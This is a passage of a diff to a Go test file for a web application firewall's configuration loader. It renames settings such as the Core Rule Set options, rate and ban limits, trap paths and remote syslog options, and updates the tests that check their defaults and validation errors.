asnLimitPercentURL = "SWW_WAF_ASN_LIMIT_PERCENT_URL" + blocklistURLs = "SWW_WAF_BLOCKLIST_URLS" + blocklistRefresh = "SWW_WAF_BLOCKLIST_REFRESH" + blocklistAction = "SWW_WAF_BLOCKLIST_ACTION" + dnsblZones = "SWW_WAF_DNSBL_ZONES" + dnsblResolver = "SWW_WAF_DNSBL_RESOLVER" + abuseIPDBKey = "SWW_WAF_ABUSEIPDB_KEY" + abuseIPDBMinScore = "SWW_WAF_ABUSEIPDB_MIN_SCORE" + abuseIPDBDailyBudget = "SWW_WAF_ABUSEIPDB_DAILY_BUDGET" + dnsblAbuseIPDBAction = "SWW_WAF_DNSBL_ABUSEIPDB_ACTION" + ipReputationCacheTTL = "SWW_WAF_IP_REPUTATION_CACHE_TTL" + dnsblAbuseIPDBTimeout = "SWW_WAF_DNSBL_ABUSEIPDB_TIMEOUT_MS" + routeWatchURL = "SWW_WAF_ROUTEWATCH_URL" + crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL" + crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY" + banResponse = "SWW_WAF_BAN_RESPONSE" + limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION" + limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW" + limitBanPermanentAbove = "SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE" + attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION" + maxBans = "SWW_WAF_MAX_BANS" + banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX" + stateDir = "SWW_WAF_STATE_DIR" + bansWriteDelay = "SWW_WAF_BANS_WRITE_DELAY" + stateWriteInterval = "SWW_WAF_STATE_WRITE_INTERVAL" + cacheDir = "SWW_WAF_CACHE_DIR" + metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS" + instanceName = "SWW_WAF_INSTANCE_NAME" + logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS" + logLevel = "SWW_WAF_LOG_LEVEL" + ruleFilesDir = "SWW_WAF_RULE_FILES_DIR" + ruleFilesEnabled = "SWW_WAF_RULE_FILES_ENABLED" + coreRuleSetMode = "SWW_WAF_CORE_RULE_SET_MODE" + coreRuleSetParanoiaLevel = "SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL" + coreRuleSetScoreThreshold = "SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD" + coreRuleSetDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES" + coreRuleSetExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS" + coreRuleSetBodyInspectionSize = "SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE" + exclusionsFile = "SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE" + apps = "SWW_WAF_APPS" + trapPaths = "SWW_WAF_TRAP_PATHS" + refusalsLimitPerMinute = "SWW_WAF_REFUSALS_LIMIT_PER_MINUTE" + logRemoteURL = "SWW_WAF_LOG_REMOTE_URL" + logRemoteTLSCAFile = "SWW_WAF_LOG_REMOTE_TLS_CA_FILE" + logRemoteBufferLines = "SWW_WAF_LOG_REMOTE_BUFFER_LINES" + logRemoteFacility = "SWW_WAF_LOG_REMOTE_FACILITY" + logRemoteAppName = "SWW_WAF_LOG_REMOTE_APP_NAME" + alertWebhookURL = "SWW_WAF_ALERT_WEBHOOK_URL" + alertWebhookHeaders = "SWW_WAF_ALERT_WEBHOOK_HEADERS" + alertSlackWebhookURL = "SWW_WAF_ALERT_SLACK_WEBHOOK_URL" + alertNtfyURL = "SWW_WAF_ALERT_NTFY_URL" + alertEvents = "SWW_WAF_ALERT_EVENTS" + alertCooldown = "SWW_WAF_ALERT_COOLDOWN" + alertMaxPerHour = "SWW_WAF_ALERT_MAX_PER_HOUR" + anomalyNetV4Prefix = "SWW_WAF_ANOMALY_NET_V4_PREFIX" + anomalyNetV6Prefix = "SWW_WAF_ANOMALY_NET_V6_PREFIX" + anomalyWatchedNets = "SWW_WAF_ANOMALY_WATCHED_NETS" +) + +// The settings that hold tokens, by name. +const ( + adminToken = "SWW_WAF_ADMIN_TOKEN" //nolint:gosec // the setting's name + metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name + alertNtfyToken = "SWW_WAF_ALERT_NTFY_TOKEN" //nolint:gosec // the setting's name ) // The anomaly thresholds: each of the prefixes below, which name a scope, // followed by each of the four ends. const ( - anomalyClient = "SWW_WAF_ANOMALY_CLIENT_" - anomalyNet = "SWW_WAF_ANOMALY_NET_" - anomalyASN = "SWW_WAF_ANOMALY_ASN_" - anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_" - watch = "SWW_WAF_WATCH_" + anomalyClient = "SWW_WAF_ANOMALY_CLIENT_" + anomalyNet = "SWW_WAF_ANOMALY_NET_" + anomalyASN = "SWW_WAF_ANOMALY_ASN_" + anomalyTotal = "SWW_WAF_ANOMALY_TOTAL_" + anomalyWatchedNet = "SWW_WAF_ANOMALY_WATCHED_NET_" requestsPerMinute = "REQUESTS_PER_MINUTE" requestsPerHour = "REQUESTS_PER_HOUR" @@ -137,7 +141,7 @@ func anomalyScopes() []string { anomalyNet, anomalyASN, anomalyTotal, - watch, + anomalyWatchedNet, } } @@ -164,7 +168,7 @@ func anomalyThresholds() []string { // logged at start give them by default. func loggedAnomalyDefaults() map[string]string { logged := map[string]string{ - anomalyNetV4Prefix: "24", anomalyNetV6Prefix: "48", watchNets: "", + anomalyNetV4Prefix: "24", anomalyNetV6Prefix: "48", anomalyWatchedNets: "", } for _, name := range anomalyThresholds() { logged[name] = off @@ -181,11 +185,12 @@ const ( defaultAlertCooldown = "15m" ) -// defaultReputationCacheTTL is the default of SWW_WAF_REPUTATION_CACHE_TTL. -const defaultReputationCacheTTL = "24h" +// defaultIPReputationCacheTTL is the default of SWW_WAF_IP_REPUTATION_CACHE_TTL. +const defaultIPReputationCacheTTL = "24h" -// defaultWAFDisabledRules is the default of SWW_WAF_CORE_RULE_SET_DISABLED_RULES. -const defaultWAFDisabledRules = "920340,920420,920440,920640,930130,930140" +// defaultCoreRuleSetDisabledRules is the default of +// SWW_WAF_CORE_RULE_SET_DISABLED_RULES. +const defaultCoreRuleSetDisabledRules = "920340,920420,920440,920640,930130,930140" // defaultLogRequestHeaders is the default of SWW_WAF_LOG_REQUEST_HEADERS. const defaultLogRequestHeaders = "accept,accept-language,accept-encoding," + @@ -235,7 +240,7 @@ const ( fileSource = "file" ) -// environment is a set of environment variables, for FromEnvironment. +// environment is a set of environment variables, for WAFFromEnvironment. type environment map[string]string // viper returns a viper holding each of the variables. @@ -243,11 +248,11 @@ func (e environment) viper() *viper.Viper { return configtest.Viper(e) } -// fromEnvironment reads the settings from env, which must be valid. -func fromEnvironment(t *testing.T, env environment) *config.Config { +// wafFromEnvironment reads waf's settings from env, which must be valid. +func wafFromEnvironment(t *testing.T, env environment) *config.WAF { t.Helper() - cfg, err := config.FromEnvironment(env.viper()) + cfg, err := config.WAFFromEnvironment(env.viper()) if err != nil { t.Fatalf("settings %v: %v", env, err) } @@ -258,36 +263,36 @@ func fromEnvironment(t *testing.T, env environment) *config.Config { func TestDefaults(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) - wantSettings(t, cfg, config.Config{ - ListenAddr: ":8080", - Observe: false, - RateLimitPerMinute: 120, - RateLimitPerHour: 1500, - RateLimitPerDay: 6000, - BanResponse: 403, - LimitBanDuration: time.Hour, - LimitBanRepeatWindow: 24 * time.Hour, - MaxBanDuration: 7 * 24 * time.Hour, - AttackBanDuration: 7 * 24 * time.Hour, - MaxBans: 5000, - BanScopeV4Prefix: 32, - StateDir: "/var/lib/sww", - StateWriteDelay: 10 * time.Second, - StateCounterInterval: 15 * time.Minute, - CacheDir: "/var/cache/sww", - MetricsToken: "", - MetricsTopN: 50, - RulesDir: "/etc/sww/rules.d", - RulesEnabled: true, + wantSettings(t, cfg, config.WAF{ + ListenAddr: ":8080", + Observe: false, + RateLimitPerMinute: 120, + RateLimitPerHour: 1500, + RateLimitPerDay: 6000, + BanResponse: 403, + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: 24 * time.Hour, + LimitBanPermanentAbove: 7 * 24 * time.Hour, + AttackBanDuration: 7 * 24 * time.Hour, + MaxBans: 5000, + BanScopeV4Prefix: 32, + StateDir: "/var/lib/sww", + BansWriteDelay: 10 * time.Second, + StateWriteInterval: 15 * time.Minute, + CacheDir: "/var/cache/sww", + MetricsToken: "", + MetricsBusiestCountriesAndASNs: 50, + RuleFilesDir: "/etc/sww/rules.d", + RuleFilesEnabled: true, }) - wantLookupSettings(t, cfg, config.Config{ - LookupSource: defaultLookupSource, LookupTimeout: 800 * time.Millisecond, + wantLookupSettings(t, cfg, config.WAF{ + LookupSource: defaultLookupSource, ASNAndCountryLookupTimeout: 800 * time.Millisecond, }) - wantByteLimitSettings(t, cfg, config.Config{ + wantByteLimitSettings(t, cfg, config.WAF{ BytesLimitPerMinute: 0, BytesLimitPerHour: 50 << 30, - BytesLimitPerDay: 100 << 30, BytesCount: "both", + BytesLimitPerDay: 100 << 30, BytesCounted: "both", }) wantNetblocks(t, cfg.AllowNets) @@ -329,7 +334,7 @@ func TestDefaults(t *testing.T) { func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{}) + cfg := wafFromEnvironment(t, environment{}) rproxy, err := rproxyConfig(map[string]string{wafBackend: backendURL}) if err != nil { @@ -354,54 +359,54 @@ func TestNoSingleRequestBreaksAByteLimitAtTheDefaults(t *testing.T) { func TestValuesAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ - listenAddr: "127.0.0.1:9000", - mode: "observe", - allowNets: "192.0.2.7", - rateLimitExemptNets: "2001:db8::/48, 10.9.8.7", - denyNets: "198.51.100.0/24", - rateLimitPerMinute: "60", - rateLimitPerHour: "600", - rateLimitPerDay: "6000", - allowedCountries: "de", - banResponse: "429", - limitBanDuration: "15m", - limitBanRepeatWindow: "2d", - maxBanDuration: "30d", - attackBanDuration: "1d", - maxBans: "100", - banScopeV4Prefix: "24", - stateDir: "/srv/waf-state", - stateWriteDelay: "500ms", - stateCounterInterval: "1h", - cacheDir: "/srv/waf-cache", - metricsToken: token, - metricsTopN: "10", - rulesDir: "/srv/waf-rules", - rulesEnabled: disabled, + cfg := wafFromEnvironment(t, environment{ + listenAddr: "127.0.0.1:9000", + mode: "observe", + allowNets: "192.0.2.7", + rateLimitExemptNets: "2001:db8::/48, 10.9.8.7", + denyNets: "198.51.100.0/24", + rateLimitPerMinute: "60", + rateLimitPerHour: "600", + rateLimitPerDay: "6000", + allowedCountries: "de", + banResponse: "429", + limitBanDuration: "15m", + limitBanRepeatWindow: "2d", + limitBanPermanentAbove: "30d", + attackBanDuration: "1d", + maxBans: "100", + banScopeV4Prefix: "24", + stateDir: "/srv/waf-state", + bansWriteDelay: "500ms", + stateWriteInterval: "1h", + cacheDir: "/srv/waf-cache", + metricsToken: token, + metricsBusiestCountriesAndASNs: "10", + ruleFilesDir: "/srv/waf-rules", + ruleFilesEnabled: disabled, }) - wantSettings(t, cfg, config.Config{ - ListenAddr: "127.0.0.1:9000", - Observe: true, - RateLimitPerMinute: 60, - RateLimitPerHour: 600, - RateLimitPerDay: 6000, - BanResponse: 429, - LimitBanDuration: 15 * time.Minute, - LimitBanRepeatWindow: 48 * time.Hour, - MaxBanDuration: 30 * 24 * time.Hour, - AttackBanDuration: 24 * time.Hour, - MaxBans: 100, - BanScopeV4Prefix: 24, - StateDir: "/srv/waf-state", - StateWriteDelay: 500 * time.Millisecond, - StateCounterInterval: time.Hour, - CacheDir: "/srv/waf-cache", - MetricsToken: token, - MetricsTopN: 10, - RulesDir: "/srv/waf-rules", - RulesEnabled: false, + wantSettings(t, cfg, config.WAF{ + ListenAddr: "127.0.0.1:9000", + Observe: true, + RateLimitPerMinute: 60, + RateLimitPerHour: 600, + RateLimitPerDay: 6000, + BanResponse: 429, + LimitBanDuration: 15 * time.Minute, + LimitBanRepeatWindow: 48 * time.Hour, + LimitBanPermanentAbove: 30 * 24 * time.Hour, + AttackBanDuration: 24 * time.Hour, + MaxBans: 100, + BanScopeV4Prefix: 24, + StateDir: "/srv/waf-state", + BansWriteDelay: 500 * time.Millisecond, + StateWriteInterval: time.Hour, + CacheDir: "/srv/waf-cache", + MetricsToken: token, + MetricsBusiestCountriesAndASNs: 10, + RuleFilesDir: "/srv/waf-rules", + RuleFilesEnabled: false, }) wantNetblocks(t, cfg.AllowNets, "192.0.2.7/32") @@ -424,7 +429,7 @@ func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) { 48, 500, slog.LevelWarn, }, } { - cfg := fromEnvironment(t, tc.env) + cfg := wafFromEnvironment(t, tc.env) if cfg.IPv6GroupPrefix != tc.prefix || cfg.MaxTrackedClients != tc.clients || cfg.LogLevel != tc.level { @@ -439,7 +444,7 @@ func TestIPv6GroupPrefixFrom32To128(t *testing.T) { t.Parallel() for _, length := range []int{32, 128} { - cfg := fromEnvironment( + cfg := wafFromEnvironment( t, environment{ipv6GroupPrefix: strconv.Itoa(length)}, ) @@ -463,7 +468,7 @@ func TestEachLogLevel(t *testing.T) { "warn": slog.LevelWarn, "error": slog.LevelError, } { - cfg := fromEnvironment(t, environment{logLevel: value}) + cfg := wafFromEnvironment(t, environment{logLevel: value}) if cfg.LogLevel != want { t.Errorf( "%s=%s gave %v, want %v", @@ -479,23 +484,23 @@ func TestEachLogLevel(t *testing.T) { func TestByteLimitSettingsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ bytesLimitPerMinute: "512M", bytesLimitPerHour: off, bytesLimitPerDay: "100000", - bytesCount: "response", + bytesCounted: "response", }) - wantByteLimitSettings(t, cfg, config.Config{ + wantByteLimitSettings(t, cfg, config.WAF{ BytesLimitPerMinute: 512 << 20, BytesLimitPerHour: 0, - BytesLimitPerDay: 100000, BytesCount: "response", + BytesLimitPerDay: 100000, BytesCounted: "response", }) } func TestRateLimitExemptPathsAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment( + cfg := wafFromEnvironment( t, environment{rateLimitExemptPaths: "/assets/, /favicon.ico"}, ) @@ -512,7 +517,7 @@ func TestRateLimitExemptPathsAsSet(t *testing.T) { func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{rateLimitExemptPaths: "/favicon.ico,assets/"}.viper()) want := rateLimitExemptPaths + `: "assets/" is not a path prefix ` + @@ -522,37 +527,37 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) { } } -func TestTrapPathsAndErrorBurstThreshold(t *testing.T) { +func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) { t.Parallel() for _, tc := range []struct { - env environment - paths []string - threshold int64 + env environment + paths []string + limit int64 }{ {environment{}, []string{}, 30}, { - environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"}, + environment{trapPaths: "/wp-login.php, /xmlrpc.php", refusalsLimitPerMinute: "5"}, []string{"/wp-login.php", "/xmlrpc.php"}, 5, }, - {environment{errorBurstThreshold: off}, []string{}, 0}, + {environment{refusalsLimitPerMinute: off}, []string{}, 0}, } { - cfg := fromEnvironment(t, tc.env) + cfg := wafFromEnvironment(t, tc.env) if !slices.Equal(cfg.TrapPaths, tc.paths) || - cfg.ErrorBurstThreshold != tc.threshold { + cfg.RefusalsLimitPerMinute != tc.limit { t.Errorf( "%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths, - cfg.ErrorBurstThreshold, + cfg.RefusalsLimitPerMinute, tc.paths, - tc.threshold, + tc.limit, ) } } } -func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) { +func TestInvalidTrapPathOrRefusalsLimitPerMinuteStopsTheStart(t *testing.T) { t.Parallel() const notTrapPath = " is not a path starting with / and without a ?, " + @@ -565,16 +570,16 @@ func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) { trapPaths, "/wp-login.php,,/xmlrpc.php", `"/wp-login.php,,/xmlrpc.php" has an empty item in its list`, }, - {errorBurstThreshold, "0", `"0" must be more than zero, or off`}, + {refusalsLimitPerMinute, "0", `"0" must be more than zero, or off`}, { - errorBurstThreshold, "30/min", + refusalsLimitPerMinute, "30/min", `"30/min" is not a whole number of requests such as 1000, or off`, }, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -591,49 +596,64 @@ func TestCoreRuleSetSettings(t *testing.T) { for _, tc := range []struct { env environment - want config.Config + want config.WAF }{ { environment{}, - config.Config{ - WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5, - WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140}, - WAFExemptPaths: []string{}, + config.WAF{ + CoreRuleSetMode: config.CoreRuleSetModeBlock, + CoreRuleSetParanoiaLevel: 1, + CoreRuleSetScoreThreshold: 5, + CoreRuleSetDisabledRules: []int{ + 920340, 920420, 920440, 920640, 930130, 930140, + }, + CoreRuleSetExemptPaths: []string{}, }, }, { environment{ - wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10", - wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/", - wafBodyLimit: "32K", exclusionsFile: "/etc/sww/crs-exclusions.conf", + coreRuleSetMode: config.CoreRuleSetModeDetect, + coreRuleSetParanoiaLevel: "4", + coreRuleSetScoreThreshold: "10", + coreRuleSetDisabledRules: "942100, 920350", + coreRuleSetExemptPaths: "/api/, /static/", + coreRuleSetBodyInspectionSize: "32K", + exclusionsFile: "/etc/sww/crs-exclusions.conf", }, - config.Config{ - WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10, - WAFDisabledRules: []int{942100, 920350}, - WAFExemptPaths: []string{"/api/", "/static/"}, - WAFBodyLimit: 32 << 10, - CoreRuleSetExclusionsFile: "/etc/sww/crs-exclusions.conf", + config.WAF{ + CoreRuleSetMode: config.CoreRuleSetModeDetect, + CoreRuleSetParanoiaLevel: 4, + CoreRuleSetScoreThreshold: 10, + CoreRuleSetDisabledRules: []int{942100, 920350}, + CoreRuleSetExemptPaths: []string{"/api/", "/static/"}, + CoreRuleSetBodyInspectionSize: 32 << 10, + CoreRuleSetExclusionsFile: "/etc/sww/crs-exclusions.conf", }, }, { environment{ - wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "", - wafBodyLimit: off, + coreRuleSetMode: off, coreRuleSetScoreThreshold: off, coreRuleSetDisabledRules: "", + coreRuleSetBodyInspectionSize: off, }, - config.Config{ - WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0, - WAFDisabledRules: []int{}, WAFExemptPaths: []string{}, + config.WAF{ + CoreRuleSetMode: config.CoreRuleSetModeOff, + CoreRuleSetParanoiaLevel: 1, + CoreRuleSetScoreThreshold: 0, + CoreRuleSetDisabledRules: []int{}, + CoreRuleSetExemptPaths: []string{}, }, }, } { - cfg := fromEnvironment(t, tc.env) + cfg := wafFromEnvironment(t, tc.env) - got := config.Config{ - WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel, - WAFAnomalyThreshold: cfg.WAFAnomalyThreshold, - WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths, - WAFBodyLimit: cfg.WAFBodyLimit, - CoreRuleSetExclusionsFile: cfg.CoreRuleSetExclusionsFile, + got := config.WAF{ + CoreRuleSetMode: cfg.CoreRuleSetMode, + CoreRuleSetParanoiaLevel: cfg.CoreRuleSetParanoiaLevel, + CoreRuleSetScoreThreshold: cfg.CoreRuleSetScoreThreshold, + CoreRuleSetDisabledRules: cfg.CoreRuleSetDisabledRules, + CoreRuleSetExemptPaths: cfg.CoreRuleSetExemptPaths, + CoreRuleSetBodyInspectionSize: cfg.CoreRuleSetBodyInspectionSize, + CoreRuleSetExclusionsFile: cfg.CoreRuleSetExclusionsFile, } if !reflect.DeepEqual(got, tc.want) { t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want) @@ -664,7 +684,7 @@ func TestApps(t *testing.T) { map[string][]string{"cloud.example.com": {gitea, "wordpress"}}, }, } { - cfg := fromEnvironment(t, tc.env) + cfg := wafFromEnvironment(t, tc.env) if !reflect.DeepEqual(cfg.Apps, tc.want) { t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want) } @@ -685,7 +705,7 @@ func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) { var out bytes.Buffer slog.New(slog.NewJSONHandler(&out, nil)). - Info("starting", "settings", fromEnvironment(t, tc.env)) + Info("starting", "settings", wafFromEnvironment(t, tc.env)) if !strings.Contains(out.String(), tc.want) { t.Errorf( @@ -731,7 +751,7 @@ func TestInvalidAppsStopsTheStart(t *testing.T) { t.Run(tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{apps: tc.value}.viper(), ) @@ -743,12 +763,15 @@ func TestInvalidAppsStopsTheStart(t *testing.T) { } } -func TestWAFBodyLimitOf64K(t *testing.T) { +func TestCoreRuleSetBodyInspectionSizeOf64K(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{wafBodyLimit: "64K"}) - if cfg.WAFBodyLimit != 64<<10 { - t.Errorf("64K read as %d", cfg.WAFBodyLimit) + cfg := wafFromEnvironment( + t, + environment{coreRuleSetBodyInspectionSize: "64K"}, + ) + if cfg.CoreRuleSetBodyInspectionSize != 64<<10 { + t.Errorf("64K read as %d", cfg.CoreRuleSetBodyInspectionSize) } } @@ -762,52 +785,52 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { ) for _, tc := range []struct{ name, value, want string }{ - {wafMode, "enforce", `"enforce" is not off, detect or block`}, - {wafParanoiaLevel, "0", `"0"` + notParanoiaLevel}, - {wafParanoiaLevel, "5", `"5"` + notParanoiaLevel}, - {wafParanoiaLevel, off, `"off"` + notParanoiaLevel}, + {coreRuleSetMode, "enforce", `"enforce" is not off, detect or block`}, + {coreRuleSetParanoiaLevel, "0", `"0"` + notParanoiaLevel}, + {coreRuleSetParanoiaLevel, "5", `"5"` + notParanoiaLevel}, + {coreRuleSetParanoiaLevel, off, `"off"` + notParanoiaLevel}, { - wafAnomalyThreshold, "0", + coreRuleSetScoreThreshold, "0", `"0" is not a whole number above zero, such as 60, or off`, }, { - wafDisabledRules, "920340,REQUEST-920", + coreRuleSetDisabledRules, "920340,REQUEST-920", `"REQUEST-920" is not the id of a Core Rule Set rule, ` + `a whole number such as 942100`, }, { - wafDisabledRules, "-942100", + coreRuleSetDisabledRules, "-942100", `"-942100" is not the id of a Core Rule Set rule, ` + `a whole number such as 942100`, }, // The paranoia level, the allowed methods, the headers refused, a // request with more query parameters than Coraza keeps, and a body // Coraza cannot parse or that fails its strict checks. - {wafDisabledRules, "942100,900000", `"900000"` + setupRule}, - {wafDisabledRules, "942100,900200", `"900200"` + setupRule}, - {wafDisabledRules, "942100,900250", `"900250"` + setupRule}, - {wafDisabledRules, "942100,900300", `"900300"` + setupRule}, - {wafDisabledRules, "942100,900440", `"900440"` + setupRule}, - {wafDisabledRules, "942100,900450", `"900450"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900000", `"900000"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900200", `"900200"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900250", `"900250"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900300", `"900300"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900440", `"900440"` + setupRule}, + {coreRuleSetDisabledRules, "942100,900450", `"900450"` + setupRule}, { - wafExemptPaths, "api/", + coreRuleSetExemptPaths, "api/", `"api/" is not a path prefix starting with /, such as /assets/`, }, { - wafBodyLimit, "128KB", + coreRuleSetBodyInspectionSize, "128KB", `"128KB" is not a size such as 512K, 100M or 5G, or off`, }, - {wafBodyLimit, "65K", `"65K" is more than 64K, the most waf ` + + {coreRuleSetBodyInspectionSize, "65K", `"65K" is more than 64K, the most waf ` + `gets of a body`}, { - wafBodyLimit, "65537", + coreRuleSetBodyInspectionSize, "65537", `"65537" is more than 64K, the most waf gets of a body`, }, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) @@ -822,7 +845,7 @@ func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) { func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{ + cfg := wafFromEnvironment(t, environment{ instanceName: "fsn1app1/blog", logRequestHeaders: " Accept , X-Custom", }) @@ -840,17 +863,17 @@ func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { func TestRemoteLogSettingsDefaults(t *testing.T) { t.Parallel() - cfg := fromEnvironment(t, environment{instanceName: instance}) + cfg := wafFromEnvironment(t, environment{instanceName: instance}) if cfg.LogRemoteURL != nil || cfg.LogRemoteTLSCAs != nil || - cfg.LogRemoteBuffer != 10000 || cfg.LogRemoteFacility != 16 || + cfg.LogRemoteBufferLines != 10000 || cfg.LogRemoteFacility != 16 || cfg.LogRemoteAppName != instance { t.Errorf( "remote log settings %v, %v, %d, %d and %q, want no URL, no "+ "certificates, 10000, 16 and %s's %s", cfg.LogRemoteURL, cfg.LogRemoteTLSCAs, - cfg.LogRemoteBuffer, + cfg.LogRemoteBufferLines, cfg.LogRemoteFacility, cfg.LogRemoteAppName, instanceName, @@ -869,25 +892,27 @@ func TestRemoteLogSettingsAsSet(t *testing.T) { t.Fatalf("write %s: %v", caFile, err) } - cfg := fromEnvironment(t, environment{ - logRemoteURL: "syslog+tls://logs.example:6514", - logRemoteTLSCAFile: caFile, - logRemoteBuffer: "500", - logRemoteFacility: "daemon", - logRemoteAppName: instance, + cfg := wafFromEnvironment(t, environment{ + logRemoteURL: "syslog+tls://logs.example:6514", + logRemoteTLSCAFile: caFile, + logRemoteBufferLines: "500", + logRemoteFacility: "daemon", + logRemoteAppName: instance, }) roots := x509.NewCertPool() roots.AppendCertsFromPEM([]byte(testCA)) if cfg.LogRemoteURL.String() != "syslog+tls://logs.example:6514" || - !roots.Equal(cfg.LogRemoteTLSCAs) || cfg.LogRemoteBuffer != 500 || + !roots.Equal( + cfg.LogRemoteTLSCAs, + ) || cfg.LogRemoteBufferLines != 500 || cfg.LogRemoteFacility != 3 || cfg.LogRemoteAppName != instance { t.Errorf( "remote log settings %v, %v, %d, %d and %q", cfg.LogRemoteURL, cfg.LogRemoteTLSCAs, - cfg.LogRemoteBuffer, + cfg.LogRemoteBufferLines, cfg.LogRemoteFacility, cfg.LogRemoteAppName, ) @@ -902,13 +927,13 @@ func TestRemoteLogURLForms(t *testing.T) { "syslog+tcp://[2001:db8::1]:514", "syslog+tls://logs.example:6514/", } { - cfg := fromEnvironment(t, environment{logRemoteURL: value}) + cfg := wafFromEnvironment(t, environment{logRemoteURL: value}) if cfg.LogRemoteURL.String() != value { t.Errorf("%s read as %v", value, cfg.LogRemoteURL) } } - cfg := fromEnvironment(t, environment{logRemoteURL: ""}) + cfg := wafFromEnvironment(t, environment{logRemoteURL: ""}) if cfg.LogRemoteURL != nil { t.Errorf( "set but empty, %s read as %v", @@ -925,7 +950,7 @@ func TestRemoteLogFacilitiesByNumber(t *testing.T) { "kern": 0, "user": 1, "auth": 4, "authpriv": 10, "ftp": 11, "local0": 16, "local5": 21, "local7": 23, } { - cfg := fromEnvironment(t, environment{logRemoteFacility: name}) + cfg := wafFromEnvironment(t, environment{logRemoteFacility: name}) if cfg.LogRemoteFacility != number { t.Errorf( "%s read as %d, want %d", @@ -952,13 +977,14 @@ func TestInvalidRemoteLogSettingStopsTheStart(t *testing.T) { {logRemoteURL, "syslog+tcp://logs.example:514/app"}, {logRemoteURL, "syslog+tcp://logs.example:514?tls=1"}, {logRemoteTLSCAFile, "/nonexistent/ca.pem"}, - {logRemoteBuffer, off}, {logRemoteBuffer, "0"}, {logRemoteBuffer, "10K"}, + {logRemoteBufferLines, off}, {logRemoteBufferLines, "0"}, + {logRemoteBufferLines, "10K"}, {logRemoteFacility, "local8"}, {logRemoteFacility, "LOCAL0"}, {logRemoteFacility, "16"}, {logRemoteFacility, ""}, {logRemoteAppName, ""}, {logRemoteAppName, "my app"}, {logRemoteAppName, "gitéa"}, {logRemoteAppName, strings.Repeat("a", 49)}, } { - _, err := config.FromEnvironment( + _, err := config.WAFFromEnvironment( environment{tc.name: tc.value}.viper(), ) if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") { @@ -982,7 +1008,7 @@ func TestRemoteLogCAFileWithoutCertificateStopsTheStart(t *testing.T) { t.Fatalf("write %s: %v", caFile, err) } - _, err = config.FromEnvironment( + _, err = config.WAFFromEnvironment( environment{logRemoteTLSCAFile: caFile}.viper(), ) @@ -1001,7 +1027,7 @@ func TestInstanceNameNotAnAppNameStopsTheStartOnlyWhileSending( sending := environment{logRemoteURL: remoteURL, instanceName: spaced} - _, err := config.FromEnvironment(sending.viper()) + _, err := config.WAFFromEnvironment(sending.viper()) want := logRemoteAppName + `: is unset, and ` + 